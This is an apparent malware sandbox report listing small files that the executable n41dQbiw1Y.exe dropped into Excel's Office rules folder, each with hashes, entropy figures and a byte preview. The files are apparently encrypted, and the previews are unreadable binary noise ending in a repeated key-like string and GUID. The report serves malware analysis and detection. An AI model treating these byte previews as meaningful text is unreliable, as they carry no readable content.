C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.713998572069319
Encrypted:	false
SSDEEP:	12:+vpwHQxg0+iNh8cPCj17Sjz5NwZ9kUbts3Zpa6dwq+tV3+Zyr3mwHRxG3KFYciik:ipwHEgO/qpglG93s3q6dotV3+Z1bKWbD
MD5:	F9C8F52B9BB89531DC826E8D2DEA3823
SHA1:	480A75AFF58661D250E457849CB44D7D61531AAE
SHA-256:	5EC68301A0EBD26EBB657F4E99706F865ACF820A0F528A3BCFE00498E0EE1232
SHA-512:	203C6772FE7C20918B1D861613E52EA98237C57BB60467AC6A651B0C95D84CF5004F414EC127EDA1928C7903C5892A28FF7FB17570740F670BF9B05BFC4EDAEB
Malicious:	false
Preview:	<?xml....^..B...`.:..`#C..T3Aixt..)YL...,.u[.4BS..r%.&..b......!..]...z3.-Dx.SP....u=q.y...GnDa.%....D&.t@.m....fr..9.ZM.W3.Izb<....h..].=J.{[..^h.N..\|.R.~.....,_.I.-..=.'.$.~MB....7.5...`...?..b4.a6G.^...C\|D?....U.....b.G.(..\|.........v.P&..7.T-..5...?j....y_..VY..aq?...\|#..3..@.B....5......N<..SU....!\|.c.......b....IRw.2...k..}.U..?..Ar[.?X..}(..k.=[...I..ct..Vq......6.....p.\.~t...._...G...X5o.... F...s.X$a5.g_.....N..@.&h@.-...0{....h....X7>..V.LX...w.pYv4.&N-......R...0S...J..g...c.'8..1t./...%..\#."..D..mVb...uX....B...A.&%~..K.."....`..G.....v..U.&VF.....S........Pop:..~.f......t.d1\|.........XX..t)....,....xN....qM.....u"..%1sx.H.p..\.9..,.V.6.........0...w..0.GA....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.688482071924081
Encrypted:	false
SSDEEP:	12:jh+lGUS23f6o4OnoXZ0VHSyEimFHEg3MWbRNGiBtA1DKLNSVxgYcii9a:joljS2CoIXZ0rELkg3XNGiBy1Dq0lbD
MD5:	A2A87F61417E3BEEFBE9A41D00874A22
SHA1:	EE384663F1FF5C576A0A867D38F3C408D69B91D2
SHA-256:	2B1B0F70012C5F3156552E2A1D614B097D905731A0D4FCAA0641FDA8504D1D33
SHA-512:	A2AA82AD34B38A357E5F08AD55EBE477F8F281AF7C1A80149FC277D266AA4A6DF31EF3B77E79696AF791D59ED0CF02981C735745E1E84400A67AD241E909492C
Malicious:	false
Preview:	<?xml.6XF.....e.p'K..0...h....[6T,IzHy.I.0.f....C....s.H....I,.....v.....eYKCrv.BX....v..\...,.S....S......Ad..e&Fx.o<.I....%%5...$....i.S...Q..}..1-...6..{;w.....2:.....3-..w.H..\|..,..[...6....y.s....~\...(=..=..H.@....+..y.\....0e2.9 H...O....d.....B*..g$w..=......3.4".f..Qf....r......o...{........J..R.@.`.s......0H....[^>.h..E..a.@..f...........$.x%.c?McG{.s..)+....-G.X..(........5..0.c.....`t.`.......3...+.\.....6d...b.W......:..$b.....F9.E...G./...c....fW.a..8...(..N.9....f...M..C.DO.?.t..R..sV....7.HX.e6..c.J.....&.+.!2.t8^..O.....-.]@Z...( ...F.xf....3.+w..E...C.a<....N.S._.X.Q/.'7.{aN......\|)..B..P...#-...V....L...{..b..........GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.703117141457402
Encrypted:	false
SSDEEP:	24:EGEZwxnDJr0id5tI9fY8NVo+9wOezIuybD:33nNrThMV1wOiJgD
MD5:	F0F5A8421121803C87758D75811890C4
SHA1:	91EB3BBC9F73A2232E7AD1C1E16CDC868E959AD0
SHA-256:	93A53D8B110860DFA86DFF208CBE2C399F7769E76318F8FFE6D777BDB244DC6D
SHA-512:	FFF9D7B951DB8CB824EDAB7FB5FB55EA6B3B6ACABC236BE2F923C459939C59E52F8E4FDBE62DD3ED1433C6826D93CC305574A1DB5CD821CF517F013429A56656
Malicious:	false
Preview:	<?xml.... ..VB....x....B../h:...E...g.2... .......bu...\.l..L.S.&.Y........9....Z#m..f..L.\|...n.Dv.yF.l......[.rN.;...X.....O.#....5.'..~k..&Cr..rgG.u..........,.y.....9..6......SX;!p...0.......E.).4m...d..:M..~ck..E..J.H.1...yT}....%W.......qy...F~........Tf..#e.U:..>...C.2/.@.GU..=Hm...z.(.Q.f)..6v.G...`?..G....95.l...g...E..B.#H,.-D..9f....1.Z...K......h.........#.+w/.~...f......C..O..,...}..g.T.mMR..ds.5......Q.L.Q...;..}.HA.O;5vA...q.@G$...a.8..[.e.}...S...^f.nRP. ...G.C...._...4.k...-..c&........G...K...5Fp..=.E.jX^.8..)......U......r..R......B.Dy.<.HS&.U....X.-~.3.aj..8..xg..].P..o.r<...w)1.3._.].s...4..+.b..).......v}.-~.....i$..].?....:3..W.pU..e...K..v.....Rn..k..b.R..9...Z.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.683586015679785
Encrypted:	false
SSDEEP:	12:waauGH7slVQUhbU12p1ums7SYU7qG63/rjnG7UX1kLHjqT7O01HW6IFqLaDDVQMG:wLj7uCKb98ms7S0G+KMkLDqT7p4qLCuX
MD5:	626262754376B8A6A25A3C2651B80445
SHA1:	175120A1DDD18E2EB1C933715E11E55D3753744B
SHA-256:	8E452E4ADDE1712C2CE54D1587120FC5DEAC730544203AB7ABE08711CAD976FA
SHA-512:	50F0E5302187E905BB16E32244FB475E5C187A662FF98869EFA519689DD12A02E3FEF63B5CA273E2D56682CFF4B59A07C50C1BD2F36C64C059AD343201F70752
Malicious:	false
Preview:	<?xml.B....^.......GI......q..B...Z.Ae"9G.....A,.@._{...6..`.x.....%U._}rX..b....Q._I...:/.9%......5..".D..r......T.-\..$>A+.}0<.>..mn....r..JY..,.O.l.......`-..~.....z.....H....E.9.,P.x...../..g%X..4m....P......=r.m0knLzh...-..T..cdP"'......?.rR.j.R..W$?.{s.....q..LO.5.v_..e...@..c...T..#..,..p.5.:\|.]3+.J.#..z.o....d.RT..K..;.L.]..s!....:.Z.i.j....\.....W..6q......p.(.....er.fq..1......\..7-3EG..o........2....p.\|..kZ.fW..bD$~..C..Pnu.,.i..K.Nn...<../...nHD,Ahd.r...U...8...'......K.+..>."....2....7.H..e.....\8..C.Af..F....u..C..c.4v........R.V\.Db.@..m...C5...Y.1V[.d>..).2.@..u0b.ax....G.......^.z<...c........<x...b.} fv..F.2...bn.)4.....lGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.762056612185086
Encrypted:	false
SSDEEP:	24:w6H0jldJpB2qbB60bhmZUteHqow6S6zit6hAHYbD:wkK7YqbBBbhMUYHpik3D
MD5:	928D4B9D256C9E15758E08C420D8FD9C
SHA1:	06B3136ADBC7AE7DE31433975BC1D62E50FD033C
SHA-256:	084FE0D4DA9D08691D5E81C690BECFA28982CFC182718866598E93107CC3EAB4
SHA-512:	B29271589700BA4BF1C91A0B771E445B8694249263415BE7DB1167B36CB71E6C38BC7553C950489EF17091C6EF037922163D49602E4CFD97BDBF422774A4F55E
Malicious:	false
Preview:	<?xmlt.N...Q..XA^.+P\|[.i...8C..j...]3.a.1.y.'...2_.:?. ..b..2!0.......N.usV...h....K.ooU.Z.gNZ.1....2..SU..Q.b.....).H...h..G=.....U.8.9..V..]........[.b...`.p.u51.....PS.m.V...l;J..F....'.q\N...>...........5%..!..Z.]g..U..R0.9...^..n........]..8GM..^(....L..~\.......]l......\|...(....CP..u."}.i...&...1=..~..Cj{.......z.....(..\|ufK...z.)b.\|A'..$...T...<t..i......wM.1._b4.)Xi....E....3sK7..Vg....n......f..W\U...]>k.4y.G"..~..epV.....=...p.....Gr....[_'..N...<"=..`.......w...*.qh.!8L....HV.a.....x.)R...m.M:..i../..s.\.t..}...R....,\..$...L....kF,m..i.W..x.1..<#...C.c.3.f.f1.<.dhy...C...K.~.....U..Y..G....T.6...R.....7..e}.......<:^.......q.Lw..Yd....[\|eZ..<...jKQ.D...C.....)B....lr.:.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.734866809994504
Encrypted:	false
SSDEEP:	12:YzFoVLxZY2eRNeGgPht//K7NvMWhAA/s+kvZIxV9JuvSn5oUSdLzcHHGYRip0q3p:7HY2NPht//KiWfs+kyxVOvPLzSHlRi0e
MD5:	390BC77B2C134481F4190AB360B03741
SHA1:	1BF67E4FCF79A71C59B9F3973E43FF9E7FFA2687
SHA-256:	114E782130F9A0C34001CE608AEB195E59502AC2B262F6A080A745205AFB302D
SHA-512:	A590E44D3AF2BE60B2ACD71302F0D78ED5B4F4242A7ABB55CED374755D10944CBED1868481E8ECE44E6D10142EB6ECFD3522DEF2928ACB95B9F5D8765C7D9813
Malicious:	false
Preview:	<?xmlP-I9..detpy.....uB.`+...e,Wg.4\|..@.3...m6.\C....)..j..G~PQ......CX.U.....".J%F'..">.]................k.;g....+tiHa...A....j$7./..S..D.lb!C{.z.."...).F..^8e......cV.............'.......C...7....h#d6...-.-..S..;wIz.a>...1...d..&..=.Ls...).m....,....2......`..\.....p\.pa.?jY`....g....E.......P..^..K.j.G..d07.xu...L+K.Ut........j....i....}..%..C.\|Gf.....L.I.2...w...{l...UUwT5.3.&....8...x(.....t.9.D.....j/.>{..T......T.......u......' ...A ...[.&. v..A.. +...8 @..0s......COn..~:..Z.'..3Q...../.^..a>..0<0)...EA9.!5...I~....Q.f....i,...f..Tj.GK@..%..Q./.a..%.c....=...WY.......N.>A3 ......BhLGp...U,.3.B.,...)YW.R.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.73908265188227
Encrypted:	false
SSDEEP:	24:lQ15VnBRk4FXn9pM3e1a8meYLtNHDdZEiczNHjNbD:lu7kIX9q3eB0HDdZEiczNHjtD
MD5:	B6604EFF47E9F5881F59DB8D6F87E5C6
SHA1:	4E310F80DF58FCCAE870A360200578027F4646F7
SHA-256:	B7A5A6F98ECF3E55DFFED3C05A24FFC95ECE061CAA4A25ADC0849D583BEABB2E
SHA-512:	C076DA1159D77D2852CA8A24EAE74B1505E0DE145AFB60F3391D162BA2E4CB935F59D6EB39E2719999B7D0AF7BF849418319EDE6445DC97A9776B07221B110CC
Malicious:	false
Preview:	<?xmlrb..4D{.E.fR\...:.p..ls..w.rs.UlG..:.]...0...i...........6#}...HX.A[F.#U[^..3...]2.....&y..7,.>.M..S....xd.\......e......U....fc .b.Y...}$.q}W......W.\|..#\|......o.......{......yB@..e..m.W\......z...AKo./..&~\|W.M.wdo<..f@.~..k.t.).)..(...P.k.\.)...{.....tO...W...........v..).$..;...,....!.b#.V.#.b..........9.C...g.T...g.Qu.p.wi.....c%...+.f..{n...B.KT.t1..d=...l,..eagD.+..9a....vB.P]. .1M].N..V..ao_9u....9x.k..fF....n... K...v6...8..^.>.)v9^..I......r..l...yMz{..x.....X...Z.......6.S6L...e>h..v.....w...}..8..Z.v..c.l{..v./.I...\|..1..(....L..j....8......>...._u?...Zf....".$~.J+...i.Y.P.u.x.V,.jL.3.s....h0,.^A.(..\|....C..A.{..o.....\*o.H&._+..%'.@......Am9Z}.q....O;c\...G!=GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.676984616755067
Encrypted:	false
SSDEEP:	12:MJQrVFYkhgPqr7Hhs+Bth0+8Aji+k1EKqWL2EyGKsNc08+vCXmlypyvVYcii9a:rTVnhfBQAMjTZh++vC2lycubD
MD5:	779608AF6EBE0B051EE51FEAF832A4A7
SHA1:	110B27F7BCDD04BAAA55772EE589406B78005069
SHA-256:	4FD7CD082C6D01BD4A4258B29815BCEBA950453FBEDF5122470DA905D4BE5B49
SHA-512:	CD51AC0AB1DB7D0599A77711DAACD515E9A0E0255F77F0A69937A847F5730368FB0614F9150C2937772425C93902BE11DBF87133E46D8E6C4FD11A9B1443373E
Malicious:	false
Preview:	<?xml1.).K.....7..oI).m..z...N..Zt...8_.\.u+>...._.D.....%.......2..E.....8M&..m]%(Sy..w..H.>...C^ +;8.....G-......e..H..8.\|.`.\|.A.4..hf.......b.+...V..w...k..Q@.....z).1H.tq.~..t....A.Ww...o.sdx#%...A.....7..M......9\|.I....?...6....H.W.kH..".h....Q...UD...vF.0.D.UW6..H...>....dG..[...._.B%.+U..B......<.<.....&b!...v.lG.b...l..%W+..........^[..s...n..=..3%.7d...Fk.....x.@b.W.G.b.c...t.k+....&....Gn8..........5~.d.].#S..........1......T..-.5..!wS..k5'.m.]~.........d..d.y$......G5^.r....A.Q.....c8.V..o.B..0l.?)..t..0..B..s.....S....u>b.Z..L..F.-.t.z @V......_..j....>..H.Qd..R.{7#-wo..........c...@i.......?. ...`..@GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.704605966951323
Encrypted:	false
SSDEEP:	24:HavX5jjLvkoS7cRHPCUe9pvFZIhP/Dd3GK+bD:Hu5jvH3HKUIIhLoND
MD5:	FB95A78CD01DE5E7488EAC5C8A222022
SHA1:	1F7BF6990F69F560E30CD31F28F63C65AC971658
SHA-256:	DAFDF35B985E8B6CBF2897D153C824279368A4E6618B8350DEE9811C8358B9E0
SHA-512:	C07F0944E46F4228ACA60F3ED4CCFCD065CDFE2365BCA095AFE24C00587ED47AE1D0CE91C7ED0EE723841209DB0BA41CA2B0BB070ACEA5A8E3E4A69F00C29EDB
Malicious:	false
Preview:	<?xml..#..>~..~t.CV. ...m.[UtS..Nxr..?.9..4.m.x.....1I..i..%...`..........<...R.....z.._\.J.aM....9m%4.34jP..,...\V...$.%sn@...p.X..0ZO.....0k..Q.z.6.wg.....=..j..d@..r...IHU.m...(.2..=...\|...6..q.F...b/0..e...3..Zm......=.[.p3"Kt.?).M..O..6.="!..>..2.......K./.L.._..Z.Z. {\|}.}..1=..H..u./...C m>l.s.-#'..>+)....^....#.Tb-..Q`..rE..q..q7..j.......:8..3.&`.4z/......q\|r..-j.......lu..W...%8....r...*..-.P.......St%=....;'>.QB.z......&....Dm.8..nM...4R{_.......o..Q...+`k+..D"...[..P.-+.Ew.e...z.K[..[I.;.$u)bt<...b.."x...[.`.....({m.7.=..\|..CRv[.Z....0..o..:_K..f.6....<.._....;1.TdY2.j(.A.."..Y...BL..~N..%.p.\.M.C..2...&....>F..Vv..A.b>......$>o.4..8....N{7c\j..~.N.jL.P...V&.O.0=(......u.A..m....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.716260523554258
Encrypted:	false
SSDEEP:	12:wXpHX+APIMvfJ1i6cRbaorRVsl1Cec8/Jhvms90CCBnTUryAqRrizTOP61YFYciD:w5uqBbihRTSz/J5ZBCB8P6P6hbD
MD5:	0AA700DC53BC10DF4F6FF3872829D094
SHA1:	9DFBCC141D5D7A67D5A903AC91A5BA711F49FDC8
SHA-256:	7B59DA79ED3A7615062F3D9DE182F9F2E50604B76B487BF6F748500A5C242855
SHA-512:	21168C27A12B3DE7F32E5A7B2143E298D4FD21B09C07BDEDA8723276A0649BE0A281C3C1EA2BF378BCA1EE84D55A0666ADCF697C29BC3BDE9FB368833AA54C97
Malicious:	false
Preview:	<?xmlM2.j..I7 )..Z...k]..B..l.......HJ..`m(Of..C#.q...}..T..#.a.....J.L.BU.X...H..=~....T#.g....^.J..z}..c...$..FR...+...a.M2...z.%j......G<h..C.....uE...PS..#.JY..R.].... .,..n.Q..=...L.}....<....d...L3..d3...+....Mo...'....[.+.e......{.V....OZ8..6.4....]...!.].l\&.X:.\|.....c~.Yp.e.R..r..a..........`.U.on...{.0S....=.^i{....@....V.FO.:.f./e............~.....P.W..t.sy}..XD_e0..a.W.M5........i...wftS\|6.3.7.....E.+.(..%S....\|.z..Wba.{,..@...........q.{....t.........y.5c.....B...wO..8.....w"......m..-.q'Y\N..V...=c.K..a........D3.#.y).o...s..#.......p.ap..T..Q.`...F+.HP.+...:.p^.V.~.\|h.N.g Yy..o.xh.......V."W........i.Z.4b R1.1kT..iX.....>As....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.7289039510006114
Encrypted:	false
SSDEEP:	24:z2mhr+iE6CcduKbhgiQve8XX1rQ3VFRabD:z2UrdEnKlgle8XX1aCD
MD5:	8681F3F52C5597E28F24E82FC3B42165
SHA1:	C4743339DEC77AEF995C31B88A3348DEAFD3A8C7
SHA-256:	5405A4CFDE4D997E42AA7D4F8606090251B9DE460E8C5A0563CBE32209ED9DBA
SHA-512:	2AF5A406D9F5B2D61B8172DCDFF0778642D83318FD03D39D8C45044DF36A2D58A92EE80465A5549F72A0EC426CB6378A1537B0FC375ABFF3D6FA057C272B80F9
Malicious:	false
Preview:	<?xmlb~.#v].F....XZm..1.MHa..S...2(.3....\pI74E..X.\|k.....=L\|....4.G...r.O..'..&.~..@_..&.U..0..:.D. ..<T.....<.{J...d."...._...X.L.y.pf..........p..%.?M......5I.Q5_3.ur..../...=.]..S....!.6...B...C.'\|..YaK..n>.._..6:.....hs....&.`..(......a..%U....`_.Yy.,.5`.D.....l.m-Hld...%..g.6`..jN9W...E.....f..<.@..@.-[.....$4.....q0..+.M....bE-.._.../...2.......k..)^u.gC.\....#...U8.'...~.Y. z..?'.wr.4...b.\N....4....b....vU.~YU.-.p.X..E..g..I..:..z./V?.......XB.-t.i.1.i.p.L......=(.+x....(...^.NdM.../.....V.'g....."..(...SKz...G'......6....M..'.....T...eD.FrU..v..3....(d..si.^...A8-I.a.p.%...c2`_gA......v......V.W.......6..:.kY...{...W2.....D..pYe....5x0.....C...o<..z.DT.......:.9I..$.J.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.693292410478057
Encrypted:	false
SSDEEP:	24:Pedii5uTmrPgfO9pl3A7nKOq2KtMPSibD:PejEtAW7y2lZD
MD5:	9DA0AA0F661CD8E65CE6A2E4D5994DDE
SHA1:	EB4098D3476D2B268429BE07E7C31EA24587BE54
SHA-256:	A216D87CC5CDD9298DC9555C37A4EB0FA7797712E20FF7484E1D480633A777A1
SHA-512:	5D5182D646DC6A8E2E5D53F6D2D2834A75068E072C9C7A76D83B78436E718C736D1C779D16A15F2EDB570BC676B35A866CB51BDF199A6DAA2187312B38B05184
Malicious:	false
Preview:	<?xml!.....7B...........^..K.5.3p.Q.N...c%...S.$.. ..9.#...S......]}..R5H...U..(E<SM...^....a.....-.2...D..c.3.p.OE.16.....`.7.....<)...&.......o4..".....'A....&.N,4{\...)_5kF.U..:....Z....d..p..Q..R.8^.+v...M.......v....$/o....(...G^_..1...N..s^2...}....._....Z.,OkYw#c.EIB~yFw.........-.<..`\..f..:....J...'.s]....UP.2-R@(p.....u..8.3yg~.....Y...lw.RD8.....I.r.#..,. ....M....u..l...'.@-.....-..dXG.........&YGki.o.m-,u7...I..9gm.....[s....6....C.Y`'...=Se4T.z...@.B<....v...:.-R$.Q...n.>.K..........Q....1.j...Et.&7.C..lS..>.o)..g.h)..U..k(.......o.M.k.y-......W9.n.....k....8.....[g..OR...>....._vT...:.5 ....U.+....*&>.Q-&..+A.:L...Q..?.L.7...w...a..CL...OSd,.\.AN.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.767091104734233
Encrypted:	false
SSDEEP:	12:aPVZPEP5lpDu8SrCow4F8DIQCgBMjRvL4OwqvMloNZWR0fGHXUHj0yKTQQYcii9a:+j05lNu3Fi8kbIMloXWeQ4jpKMVbD
MD5:	2EC2F304A828C4B22645B2828F6D7A12
SHA1:	2399CF14FA52D903FC0785B865B0005908DCEA9D
SHA-256:	EF06A7CD5A27F37A25D9C4DA7A0764290F288230C1F31114F624FC65D0E922D0
SHA-512:	CBBB5FF6BE4DDC10BAA8636C58C7A65D94DE57BE6C40ADF98A7BEDBC6E2C73449D826D8A8B53109ECDE7D34122C6A297A2669E32CD1F113AAD326EED9D887371
Malicious:	false
Preview:	<?xml...t.hy.'..V...\|........;3....>e."..B.)/X.....t....#..U[.....QWB..{..H.\|..........HN..5k..l._Q.C.V..0U..$`;&h.b....<3Rux...H....b.......U.../.s.. .w...z4. ].].Y..S7._.]u?3.G.]P.[.!.V.O$l/..j.B..J.J......e..C....._.G,..yC....{1\.........f:.....v..X.@W........{^...Gk.9m..5..,~._.u{..Yky..B.I.2...-..-q>0...#....$.l.2=+........{l.....GKq.p.Y]s[.'.%...i!........].}.7,h..&I..l-..Ac.KT^Cs)._....}..D.....p..+..._8..D.L*^...41.6[.B.;.......b4...!..`\|Ln.Xtr.K.d..".u...S.{..o.W....&...l]wI..clh1<v.{.hQ...5........,..c...)O[...,....:..2.Mo.Q....9k.....M.O....<4...!.!..`.k.t..+..]K..".l.4.....d.m..G9.......R.uB.M..Ec..'....%.Px....N... =...l}..:I... ..zQ.;..J....f.A.....5.\..?.w..{....?....Rp?..........Lk.tT.AGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.691456541445253
Encrypted:	false
SSDEEP:	12:M6EYka2L9likvbvaIkbaiSuXfaUQSV9VMcazIRpvki2b+ALtufwfuYcii9a:M6Ua89l9bizaiSuXfanw8Pz49kjtucbD
MD5:	2C97FECB99D94E944B70243470204AF8
SHA1:	52F7E4DE12589B51E80EFEBE60A6C4CC5AF3991D
SHA-256:	B7D172730F4B217EAB8CEF3B6534D8D224726758EDE86C6C70C35EE3AC107E51
SHA-512:	A31E7F76E6B8F4C0F4E78258F847AD41076F5B908121F7E3F150F4E169A807997505F9B0E3E8A6FD1857FD48E2F133037C1E65A7B4185365D00E58BF89C632B3
Malicious:	false
Preview:	<?xml..Q..T..7Z.....@R..[9F.h..mR.P..A..pJ.j.P.-....2.9..;.F<)a..NVH..k.].V.,..\|...\|h..W.6...gk$.@..bj^...eG..U.f(.f..mXjU...H....K..4. l~...-k.=w....Y.}...W...........c.".h_R....55".....PBn.....%......R`..]+XM..&.....b....w............[U..{.l+.x......s0..@4.'7f.P.F..h....O.b.{=qG.j.n^s..`......@.tGQJT.G?.m^..51..+2..J...Q.S.:h?...g>.D.<.p.....R..F....?..(...l>..3...<1nE.4..}.}r..._._5Dr..U..C..p...&........RQK..._...2.(.`.uC...R~... 1..:..Pdp..y.8v....8`.....`.Y.amj.V...$..G.\X...v.b.....H.."....F...jW.q..Y.V.....j.w#s.NcC[1.<.2......K..V..`.....+.Z.V.[...a.k.{\...q....N...t..ek....D......gR2.........X.?G...Rb..n.KK.X.}.'.....gGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.723181846765014
Encrypted:	false
SSDEEP:	12:5gPRDF/dshdezK6zu4zW2QAUW9ungq2Z5FzmmlEe5sZWmGtr9XuWi4IdzhYcii9a:5YZ3wezKN29MgjZ5JEe5s0PXuHzqbD
MD5:	84BD2B892E703EDB524A6439D2E2D82A
SHA1:	B43605FD5CAA4F2101549BBB241D3F738E7322F9
SHA-256:	91DB6DE182CC7D7CDE2A9711D2738DFA105D27CE0C2132C7B48910698518C74C
SHA-512:	41702768F55DACD24A1A5167FC1DC712BC6A278D07920651333095761E4425490A757919D816D7FB3EFD3269D04DAC20A7A2BEE3D9360CE32C437FB33A7DAD71
Malicious:	false
Preview:	<?xml.a..v..L.Q4[..s..j.z...ti...T..!..5Ty.DP...$..}. ...>Q..?q....M.j]..q.....#..X>.....a.H...%,....!...B....XW.(. 1..J..-....J...! i......J....MP...7.`E;.&.].,.o.Wc....?F...N.....zz.qT..k..z`..4..WUB..0......F... ./..\.P....w9/.._U%..g....I...3L2E^.n.G..=4.~4m"=.j....t..ey(Z6 .4.....2s....].....!<..<.B.S.E.d_.6c.T3.=.../.w...@..F....O.u.2.(..........b..{.....P..v.v.P%......L.[.....d..S..Ch.....Y.`.....d..../...".#I.w....R.Y.\.R....m......W.Ly.B..7..?..a.&".=..5.r..W...`...&2.B...c...i.V.s.St..E?.Z..z..L...[.:.E.0...^...O.Li.........SoY...W....5>.n.1.L0...6......l...@..:.uVE.g.....^...2..../F...b.....0S.:qA$....!....X...y...F..h.....j..R..<l.......Y...B#....".f!....h8...r/.....uGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.6743765947619265
Encrypted:	false
SSDEEP:	12:sGagnK6yLSGZyv4fK9OYwKInC5WH01YGJVU6E5Od0+iS8TrIVyRACJqYh5Ksz/fR:sGaOK/LSGZSPjhInCWH1TcVgsgHZbD
MD5:	1EC3299EB8E63C51C5589227D55977A7
SHA1:	90F164885E60282046281E74882B554C2FF54930
SHA-256:	C662BEBC9D676FA6D50617A021F0E118A23FE0D4A017BAB354CD2CAB174C08FE
SHA-512:	0E2ADE164DCC4D5C8F4D69932BD04355070A68913ADB2D16302D1543514D912089C94CF7DE0CCBF587091A08C5232AA609A4F4E827F55D87D9CAE963D94D5CE4
Malicious:	false
